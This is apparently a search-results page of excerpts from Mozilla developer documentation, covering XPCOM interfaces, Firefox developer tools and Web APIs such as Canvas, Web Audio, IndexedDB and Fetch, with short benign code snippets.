checkcurrentdictionary() call this after any change in installed dictionaries to ensure that the spell checker is not using a current dictionary which is no longer available.
...these words can be retrieved using getpersonaldictionaryword() void getpersonaldictionary(); parameters none.
...try to avoid using it.
nsIFaviconService
when compared to getfaviconlinkforicon() method, this method only adds the extra level of indirection, looking up the favicon based on the page uri and using the default if not found.
...the data is provided using a data url string.
... see also places using the places favicon service using the places annotation service ...
nsIInputStream
for this reason, it is generally the case that a blocking input stream should be implemented using thread-safe addref and release.
... example consume all data from an input stream using read().
...umestream(nsiinputstream* astream) { nsresult rv; uint32_t numread; char buf[512]; while (1) { rv = astream->read(buf, sizeof(buf), &numread); if (ns_failed(rv)) { printf("### error reading stream: %x\n", rv); break; } if (numread == 0) break; // buf now contains numread bytes of data } return rv; } consume all data from an input stream using readsegments().
nsIMutableArray
weak whether or not to store the element using a weak reference.
... weak whether or not to store the element using a weak reference.
... weak whether or not to store the new element using a weak reference.
nsIPermissionManager
it is internally calling add() method using the nsiuri from the principal.
...this must have been previously registered using the add() method.
...this must have been previously registered using the add() method.
nsIPromptService
abuttonflags = (button_pos_0) * (button_title_ok) + (button_pos_1) * (button_title_is_string) + button_pos_1_default; confirmex always returns 1 if the user closes the window using the close button in the titlebar!
... abuttonflags abuttonflags is a combination of button flags as described in using the button flags below.
...get the item using items[selected.value].
nsIStructuredCloneContainer
dom/interfaces/base/nsistructuredclonecontainer.idlscriptable this interface acts as a container for an object serialized using the structured clone algorithm.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) you can copy an object into an nsistructuredclonecontainer using initfromvariant() or initfrombase64().
...you can also get a base-64-encoded string containing a copy of the container's serialized data, using getdataasbase64().
nsITimer
you may also re-initialize (using one of the initialization methods) an existing instance to avoid the overhead of destroying and creating a timer.
... remarks type_repeating_slack timer is the preferable repeating timer type for most situations example using initwithcallback: // we need an nsitimercallback compatible...
...timer.initwithcallback(event,10000, components.interfaces.nsitimer.type_one_shot); using init, we fire an event every 10 seconds: var event = { observe: function(subject, topic, data) { dump("hello world\n"); } } var timer = components.classes["@mozilla.org/timer;1"].createinstance(components.interfaces.nsitimer); const type_repeating_precise_can_skip = components.interfaces.nsitimer.type_repeating_precise_can_skip; timer.init(event, 10*1000, type_repeating_precise_can_skip...
nsIWindowsRegKey
this interface is not restricted to using only these root keys.
...this interface is not restricted to using only these access types.
...this interface is somewhat restricted to using only these value types.
XPCOM reference
if you're working on a module in the mozilla codebase that's compiled with the mozilla_internal_api flag set, some of these apis -- the string functions and classes in particular -- are not the ones you should be using.
...all xpcom primitives are scriptable, and they all implement an xpcom interface from the table below.xpcom string functionsxpcom provides these low-level string functions to let you work with strings; however, it's often better to use one of the string classes rather than directly using these functions.
...it is now a strongly typed enum when xpcom is built using a c++11 compiler.
XPCOM tasks
explore the idea of using a separate registry.
... writing and using components and modules.
... building ownership models that work (see xpcom ownership guidelines), using raw pointers, nscomptr (see the nscomptr user's manual), nsiweakreference (see nsiweakreference), nscweakreference, and (across threads) proxies (see nsisupports proxies).
Xptcall Porting Guide
it does this using platform specific assembly language code.
...a similar include file (xptcall/public/xptcstubsdef.inc) is expanded using platform specific macros to define the stub functions.
...to change the number of stubs or to change their specific declaration) using the perl script xptcall/public/genstubs.pl.
Mozilla technologies
the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
...these services include:viewing and searching mozilla source code onlinesource code for all mozilla projects hosted in the mercurial repositories can be searched and viewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e.
...guage used to specify xpcom interface classes.xray visiongecko runs javascript from a variety of different sources and at a variety of different privilege levels.xslt 2.0although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.xtfthe extensible tag framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
Gloda examples
this content covers features introduced in thunderbird 3 this page provides some examples for using gloda.
... a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acollec...
...n _onquerycompleted(conversation_coll) { try { for (var conv in conversation_coll) { //do something with the conversation here alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above).
MailNews fakeserver
using fakeserver in xpcshell tests since there are three different components of fakeserver, a total of four objects need to be set up in a fakeserver test on top of other testing.
...i tend to like using 1024 + default port number myself.
...ormtest playtransaction none the transaction the transaction is an object with two properties: us, and them; us is an array of responses we sent, them an array of commands received resettest none nothing prepares the server for the next test without closing the connection start port number nothing starts the server listening stop none nothing stops the server and closes the connection using fakeserver in qa testing debug output from fakeservers it is possible to get the fakeservers to dump to the console the commands they have sent and received.
Thunderbird Binaries
the trunk can be very unstable at times, so it's good to ask around before using trunk builds.
... distinguishing between different nightly builds the main way you can determine if you are using a trunk or branch build is to click the "help" menu and choose "about".
...these correspond to which build you are using.
Virtualenv
using virtualenv once you have virtualenv installed, you can make virtual environments: > virtualenv tmp new python executable in tmp/bin/python installing setuptools............done.
... > ls tmp/bin/ activate activate.fish easy_install pip python activate.csh activate_this.py easy_install-2.7 pip-2.7 using this python binary, or these scripts (which point to this python binary), you will correctly install python packages in the lib/python2.x/site-packages directory and they will be appropriately added to your import path (sys.path) via lib/python2.x/site.py.
...when using this method, be aware that the parts of package installation invoked via setup.py, such as console-script creation and dependency resolution, will not be invoked.
Memory Management
this is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: a function or static data declared using the declare() method will hold that library alive.
... what won't keep objects alive it's important to note that getting direct access to the contents of a cdata object using address(), addressofelement(), or contents, will result in a cdata object that does not hold its referent alive.
... be sure to hold an explicit reference so that the referent object doesn't get into garbage collection, before you're done using it.
js-ctypes
c++ support is possible through vtable pointers see using com from js-ctypes.
... using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using callbacks type conversion memory management chromeworker ...
... using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla forums...
Blocking By Domain - Plugins
rather than block plugins entirely, firefox is limiting the impact of plugins by blocking certain domains from using plugins.
... criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts.
...subsequent updates to the list will be made using telemetry from firefox experiments.
Scripting plugins - Plugins
future revisions to this api might provide a mechanism for proxying calls from one thread to another to aid in using this api from other threads.
... a plugin that wishes to be scriptable using this new mechanism needs to return the appropriate npobject (which is created by calling npn_createobject) when the browser requests it by calling: npp_getvalue(npp, nppvpluginscriptablenpobject, ...); accessing browser objects from a plugin a plugin that wishes to access objects in the browser window that loaded the plugin can do this by getting the npobject for the browser's window object, ...
...this is done by using an extension to npn_getvalue.
Preferences System
using this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome).
...you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g.
... not using "toolbar" will cause the preferences dialog to only display one preference pane.
Accessibility Inspector - Firefox Developer Tools
this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale.
...for this reason, you should keep it turned off when you aren't specifically using it.
... when one of the panels is focused, you can move the focus up and down items using the up and down arrow keys, and use the left and right arrow keys to expand and collapse expandable rows (e.g., different hierarchy levels of the accessibility tree).
DOM Inspector internals - Firefox Developer Tools
initially, we will begin by focusing on inspector.xul and its entry point, and then expand our focus later to explain how these other inspectors differ.
... using modular overlays also allows for common xul to be shared across the various documents that make up the dom inspector's ui, although not all overlays are shared by multiple consumers.
...verlay.xul chrome://inspector/content/viewers/d...setoverlay.xul chrome://inspector/content/statusbaroverlay.xul chrome://global/content/globaloverlay.xul (note that the overlays from the viewer subdirectories—viewers/dom and viewers/stylerules—are loaded as a result of overlay directives in dom inspector's chrome manifest, rather than being explicitly imported using a xul-overlay processing instruction in the overlaid file.) inspectoroverlay.xul this imports the scripts the top-level inspector needs, including dependencies.
Set a breakpoint - Firefox Developer Tools
add log: add a log point, which logs a value to your console rather than pausing execution as a breakpoint does.
...you can set an unconditional breakpoint using the context menu (see above), or by: clicking on the line number for the line you want to break at in the source pane.
...you can set a conditional breakpoint using the context menu (see above), or by highlighting the line you want to break at in the source pane and pressing ctrl + shift + b (windows/linux) or cmd + shift + b (macos).
UI Tour - Firefox Developer Tools
you can search for a file using ctrl + p (cmd + p on a mac).
... web extensions are listed in the source list pane using the extension's name.
... when the source pane is focused you can search for a string in the file using ctrl + f (cmd + f on a mac).
Debugger.Object - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.
... executeinglobalwithbindings(code,bindings, [options]) like executeinglobal, but evaluatecode using the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings.
...this makes unsafedereference more useful in producing values appropriate for direct use by debuggee code, without using invocation functions.
Debugger.Object - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.
... evalinglobalwithbindings(code,bindings, [options]) like evalinglobal, but evaluatecode using the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings.
...this makes unsafedereference more useful in producing values appropriate for direct use by debuggee code, without using invocation functions.
Network monitor recording - Firefox Developer Tools
you can pause and resume the monitoring of network traffic using the pause button.
... pausing and resume network traffic recording the network monitor has a button that pauses and resumes recording of the current page's network traffic.
... network monitor features the following articles cover different aspects of using the network monitor: toolbar network request list network request details performance analysis throttling ...
Network request list - Firefox Developer Tools
note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper commands.
...you can filter by plain text (in which case the text is used to find partial matches; entering "for" will match any message that contains the word "for") or—as of firefox 75—using regular expressions (by writing the regexp bracketed within slashes; "/.+corp.*/" will look for any occurrence of "corp" which has at least one character before it and may or may not have any characters after it, for example).
... network monitor features the following articles cover different aspects of using the network monitor: toolbar network request details network traffic recording performance analysis throttling ...
Work with animations - Firefox Developer Tools
it displays animations created using css transitions, css @keyframes rules, or the web animations api.
... these animations are made using the web animations api.
...the bar is: blue if a transition was used to animate a property orange if a @keyframes animation was used green if the web animations api was used the bar contains a lightning bolt icon if the property was animated using the compositor thread (see more about the cost of animating different css properties).
Waterfall - Firefox Developer Tools
filtering markers you can control which markers are displayed using a button in the toolbar: waterfall patterns exactly what you'll see in the waterfall is very dependent on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green.
...in particular, if you animate an element using the transform property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the new position of the element is handled in composition.
... using the frame rate tool and the waterfall together, it's easy to see when long-running javascript is causing responsiveness problems.
Storage Inspector - Firefox Developer Tools
currently it can be used to inspect the following storage types: cache storage — any dom caches created using the cache api.
... the shown values can also be filtered using the search box at the top of the sidebar.
... working with the storage inspector the following articles cover different aspects of using the network monitor: cookies local storage / session storage cache storage indexeddb extension storage ...
Web Console remoting - Firefox Developer Tools
send http requests starting with firefox 25 you can send an http request using the console actor: { "to": "conn0.console9", "type": "sendhttprequest", "request": { "url": "http://localhost", "method": "get", "headers": [ { name: "header-name", value: "header value", }, // ...
...this helps us avoid using too much of the network bandwidth.
...ta": { text: "foobar" }, "postdatadiscarded": false } the getresponsecontent packet: { "to": "conn0.netevent15", "type": "getresponsecontent" } { "from": "conn0.netevent15", "content": { "mimetype": "text/css", "text": "\n@import \"test.css\";\n\n.foobar { color: green }\n\n" }, "contentdiscarded": false } the request and response content text value is most commonly sent using a longstringactor grip.
Firefox Developer Tools
note: if you are just getting started with web development and using developer tools, our learning docs will help you — see getting started with the web and what are browser developer tools?
... web console see messages logged by a web page and interact with the page using javascript.
... download firefox developer edition connecting the developer tools if you open the developer tools using keyboard shortcuts or the equivalent menu items, they'll target the document hosted by the currently active tab.
ANGLE_instanced_arrays - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
... despite the name "angle", this extension works on any device if the hardware supports it and not just on windows when using the angle library.
AbortSignal - Web APIs
events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... examples in the following snippet, we aim to download a video using the fetch api.
... we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property.
AbstractRange - Web APIs
usage notes range types all ranges of content within a document are described using instances of interfaces based on abstractrange.
... third, using node-relative positions to define the start and end positions will generally be easier to make perform well.
... <p><strong>this</strong> is a paragraph.</p> imagine using a range to extract the word "paragraph" from this.
AudioBufferSourceNode.start() - Web APIs
the computation of the offset into the sound is performed using the sound buffer's natural sample rate, rather than the current playback rate, so even if the sound is playing at twice its normal speed, the midway point through a 10-second audio buffer is still 5.
...if this parameter isn't specified, the sound plays until it reaches its natural conclusion or is stopped using the stop() method.
... using this parameter is functionally identical to calling start(when, offset) and then calling stop(when+duration).
AudioContext.createMediaElementSource() - Web APIs
example this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
...document.documentelement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio playback from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
... so playing/pausing the media can still be done through the media element api and the player controls.
AudioDestinationNode - Web APIs
the audiodestinationnode of a given audiocontext can be retrieved using the audiocontext.destination property.
... example there is no complex set up for using an audiodestinationnode — by default, this simply represents the output of the user's system (e.g.
... their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin.
AudioParam - Web APIs
when this list is not empty, changes using the audioparam.value attributes are ignored.
... this list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves.
... audioparam.cancelandholdattime() cancels all scheduled future changes to the audioparam but holds its value at a given time until further changes are made using other methods.
BaseAudioContext.createStereoPanner() - Web APIs
it positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm.
...in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
...er(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'createstereopanner()' in that specification.
Body.text() - Web APIs
WebAPIBodytext
the response is always decoded using utf-8.
... when getdata() is run, we create a new request using the request() constructor, then use it to fetch a specific .txt file.
... when the fetch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object.
CSSStyleSheet.ownerRule - Web APIs
if the stylesheet wasn't imported into the document using @import, the returned value is null.
...if the stylesheet wasn't imported into the document using @import, the returned value is null.
... examples this snippet of code looks for rules which were not imported into the document using an @import at-rule.
Managing screen orientation - Web APIs
this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width).
...by using a media query, you can do this easily and automatically.
...the screen is locked using the screen.lockorientation() method and unlocked using the screen.unlockorientation().
CSS Painting API - Web APIs
to find out more about how this is used, consult using the css painting api.
... examples to draw directly into an element's background using javascript in our css, we define a paint worklet using the registerpaint() function, tell the document to include the worklet using the paintworklet addmodule() method, then include the image we created using the css paint() function.
... we create our paintworklet called 'hollowhighlights' using the registerpaint() function: registerpaint('hollowhighlights', class { static get inputproperties() { return ['--boxcolor']; } static get inputarguments() { return ['*','<length>']; } static get contextoptions() { return {alpha: true}; } paint(ctx, size, props, args) { const x = 0; const y = size.height * 0.3; const blockwidth = size.width * 0.33; const blockheight = size.height * 0.85; const thecolor = props.get( '--boxcolor' ); const stroketype = args[0].tostring(); const strokewidth = parseint(args[1]); console.log(thecolor); if ( strokewidth ) { ctx.linewidth = strokewidth; } else { ctx.linewidth = 1.0; } if ( stroketype === 'stroke' ) { ctx.fillstyle = 'transparent'; ctx.str...
Cache.put() - Web APIs
WebAPICacheput
in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations.
...we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match().
... if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone().
CanvasRenderingContext2D.arcTo() - Web APIs
the canvasrenderingcontext2d.arcto() method of the canvas 2d api adds a circular arc to the current sub-path, using the given control points and radius.
... note: be aware that you may get unexpected results when using a relatively large radius: the arc's connecting line will go in whatever direction it must to meet the specified radius.
... creating a rounded corner this example creates a rounded corner using arcto().
CanvasRenderingContext2D.drawImage() - Web APIs
examples drawing an image to the canvas this example draws an image to the canvas using the drawimage() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimageactualsize() { // use the intrinsic size of image in css pixels for the canvas element canvas.width = this.naturalwidth; canvas.height = this.naturalheight...
...; // will draw the image as 300x227, ignoring the custom size of 60x45 // given in the constructor ctx.drawimage(this, 0, 0); // to use the custom size we'll have to specify the scale parameters // using the element's width and height properties - lets draw one // on top in the corner: ctx.drawimage(this, 0, 0, this.width, this.height); } result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d: drawimage' in that specification.
CanvasRenderingContext2D.strokeText() - Web APIs
an optional parameter allows specifying a maximum width for the rendered text, which the user agent will achieve by condensing the text or by using a lower font size.
...the text is rendered using the settings specified by font, textalign, textbaseline, and direction.
... examples drawing text outlines this example writes the words "hello world" using the stroketext() method.
Canvas tutorial - Web APIs
before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript.
...but custom sizes can be defined using the html height and width property.
... in this tutorial basic usage drawing shapes applying styles and colors drawing text using images transformations compositing and clipping basic animations advanced animations pixel manipulation hit regions and accessibility optimizing the canvas finale ...
Canvas API - Web APIs
the actual drawing is done using the canvasrenderingcontext2d interface.
... demo: a basic ray-caster a demo of ray-tracing animation using canvas.
... manipulating video using canvas combining <video> and <canvas> to manipulate video data in real time.
Clipboard.read() - Web APIs
WebAPIClipboardread
be sure to review the compatibility table before using these methods.
... example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "clipboard-read" access, this example fetches the data currently on the clipboard.
...otherwise, an image element referred to using the variable imgelem has its source replaced with the clipboard's contents.
DOMMatrixReadOnly - Web APIs
dommatrixreadonly.tostring() creates and returns a domstring object which contains a string representation of the matrix in css matrix syntax, using the appropriate css matrix notation.
... dommatrixreadonly.transformpoint() transforms the specified point using the matrix, returning a new dompoint object containing the transformed point.
... dommatrixreadonly.translate() returns a new dommatrix containing a matrix calculated by translating the source matrix using the specified vector.
Binary strings - Web APIs
WebAPIDOMStringBinary
the size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
... the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using websockets, and so forth) it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer (i.e., using binary strings).
Document.createNSResolver() - Web APIs
this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resolving the namespaceuri from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
...to match default elements in a non-null namespace, you either have to refer to a particular element using a form such as *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] (this approach works well for dynamic xpath expressions where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace.
... see also document.evaluate introduction to using xpath in javascript specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'document.creatensresolver' in that specification.
Document: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
... examples using addeventlistener(): document.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled') }); using the onpointercancel event handler property: document.onpointercancel = (event) => { console.log('pointer event cancelled') }; specifications specification status pointer events obsolete ...
EXT_disjoint_timer_query - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
... in webgl 2, other queries (such as occlusion queries and primitive queries) are possible using webglquery objects.
EXT_texture_filter_anisotropic - Web APIs
using just mipmapping, these lookups have a tendency to average to grey.
... webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
Element.classList - Web APIs
WebAPIElementclassList
using classlist is a convenient alternative to accessing an element's list of classes as a space-delimited string via element.classname.
... the domtokenlist itself is read-only, although you can modify it using the add() and remove() methods.
...html); // if visible is set remove it, otherwise add it div.classlist.toggle("visible"); // add/remove visible, depending on test conditional, i less than 10 div.classlist.toggle("visible", i < 10 ); console.log(div.classlist.contains("foo")); // add or remove multiple classes div.classlist.add("foo", "bar", "baz"); div.classlist.remove("foo", "bar", "baz"); // add or remove multiple classes using spread syntax const cls = ["foo", "bar"]; div.classlist.add(...cls); div.classlist.remove(...cls); // replace class "foo" with class "bar" div.classlist.replace("foo", "bar"); versions of firefox before 26 do not implement the use of several arguments in the add/remove/toggle methods.
ElementCSSInlineStyle.style - Web APIs
for adding specific styles to an element without altering other style values, it is preferred to use the individual properties of style (as in elt.style.color = '...') as using elt.style.csstext = '...' or elt.setattribute('style', '...') sets the complete inline style for the element by overriding the existing inline styles.
... note that the property names are in camel-case and not kebab-case while setting the style using elt.style.<property> (i.e., elt.style.fontsize, not elt.style.font-size).
... the following code snippet demonstrates the difference between the values obtained using the element's style property and that obtained using the getcomputedstyle() method: <!doctype html> <html> <body style="font-weight:bold;"> <div style="color:red" id="myelement">..</div> </body> </html> var element = document.getelementbyid("myelement"); var out = ""; var elementstyle = element.style; var computedstyle = window.getcomputedstyle(element, null); for (prop in elementstyl...
Fetch API - Web APIs
WebAPIFetch API
you can create a request and response directly using the request() and response() constructors, but it's uncommon to do this directly.
... fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch.
... note: find out more about using the fetch api features in using fetch, and study concepts in fetch basic concepts.
FileException - Web APIs
in the file system api, a fileexception object represents error conditions that you might encounter while accessing the file system using the synchronous api.
...the added complexity of using webworkers with this api makes debugging even more challenging.
...when errors occur, forward them to the main app using postmessage() as in the following: function onerror(e) { postmessage('error:' + e.tostring()); } try { //error is thrown if "log.txt" already exists.
Introduction to the File and Directory Entries API - Web APIs
big concepts before you start using the file and directory entries api, you need to understand a few concepts: the file and directory entries api is a virtual representation of a file system the file and directory entries api can use different storage types browsers impose storage quota the file and directory entries api has asynchronous and synchronous versions when using the asynchronous api, always use the error callbacks...
... browsers impose storage quotas to prevent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.
... when using the asynchronous api, always use the error callbacks when using the asynchronous api, always use the error callbacks.
File and Directory Entries API - Web APIs
only for accessing files which are selected by the user in a file <input> element (see htmlinputelement as well) or when a file or directory is provided to the web site or app using drag and drop.
... synchronous api the synchronous api is should only be used in workers; these calls block until they're finished executing, and simply return the results instead of using callbacks.
... using them on the main thread will block the browser, which is naughty.
GlobalEventHandlers.onpointerdown - Web APIs
if the pointerdown event isn't canceled through a call to preventdefault(), most user agents will fire a mousedown event, so that sites not using pointer events will work.
... example this example demonstrates how to watch for and act upon pointerdown events using onpointerdown.
... then the event's preventdefault() method is called to ensure that the mousedown event isn't triggered, potentially causing events to be handled twice if we had a handler for those events in case pointer event support is missing.
HTMLElement: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... an event handler for this event can be added by setting the onanimationcancel property, or using addeventlistener().
... const animated = document.queryselector('.animated'); animated.addeventlistener('animationcancel', () => { console.log('animation canceled'); }); animated.style.display = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> ...
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
... examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled'); }); using the onpointercancel event handler property: const para = document.queryselector('p'); para.onpointercancel = (event) => { console.log('pointer event cancelled'); }; specifications specification status pointer events obsolete ...
HTMLFormElement.elements - Web APIs
independently, you can obtain just the number of form controls using the length property.
... you can access a particular form control in the returned collection by using either an index or the element's name or id.
... note: similarly, you can get a list of all of the forms contained within a given document using the document's forms property.
HTMLImageElement.decode() - Web APIs
this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads.
... usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
...without a promise-returning method, you would add the image to the dom in a load event handler, such as by using the img.onload event handler, and by handling the error in the error event's handler.
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property.
... examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image.
... html result specifying a fallback for viewport-based selection when using viewport-bases selection of an image from a srcset by also specifying the sizes property, the src property serves as the fallback to be used on browsers that don't support viewport-based selection.
HTMLSelectElement.selectedOptions - Web APIs
note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property.
...when clicked, the event handler fetches the list of selected options using selectedoptions, then iterates over the options in the list.
... a string is constructed to list the ordered items, with logic to build the list using proper english grammar rules (including a serial comma).
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
invalidstateerror the cursor was created using idbindex.openkeycursor, is currently being iterated, or has iterated past its end.
...if the albumtitle of the current cursor is "grace under pressure", we delete that entire record using var request = cursor.delete();.
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBIndex - Web APIs
WebAPIIDBIndex
you can retrieve records in an object store through the primary key or by using an index.
... an index lets you look up records in an object store using properties of the values in the object stores records other than the primary key the index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store.
...we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBKeyRange - Web APIs
records can be retrieved from idbobjectstore and idbindex objects using keys or a range of keys.
... you can limit the range using lower and upper bounds.
...we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api provides access to results of asynchronous requests to databases and database objects using event handler attributes.
... each reading and writing operation on a database is done using a request.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
IndexedDB API - Web APIs
learn to use indexeddb asynchronously from first principles with our using indexeddb guide.
... synchronous and asynchronous operations performed using indexeddb are done asynchronously, so as not to block applications.
...this is sometimes faster than using idbobjectstore.
KeyframeEffect.setKeyframes() - Web APIs
element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
...the property names are specified using camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx.
...this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes.
LocalFileSystem - Web APIs
using persistent storage the requestfilesystem() method lets you ask for persistent or temporary storage.
... another api, the quota management api, lets you query an origin's current quota usage and allocation using window.webkitpersistentstorage.queryusageandquota().
...you access a sandboxed file system by requesting a localfilesystem object using this global method, window.requestfilesystem().
MSSiteModeEvent - Web APIs
*this property is not supported for windows store apps using javascript.
...*this property is not supported for windows store apps using javascript.
... although this event inherits from the event object, it cannot be created by using createevent.
MediaDevices.getDisplayMedia() - Web APIs
the resulting stream can then be recorded using the mediastream recording api or transmitted as part of a webrtc session.
... see using the screen capture api for more details and an example.
...the stream is then returned to the caller for use, perhaps for adding to a webrtc call using rtcpeerconnection.addtrack() to add the video track from the stream.
Media Session action types - Web APIs
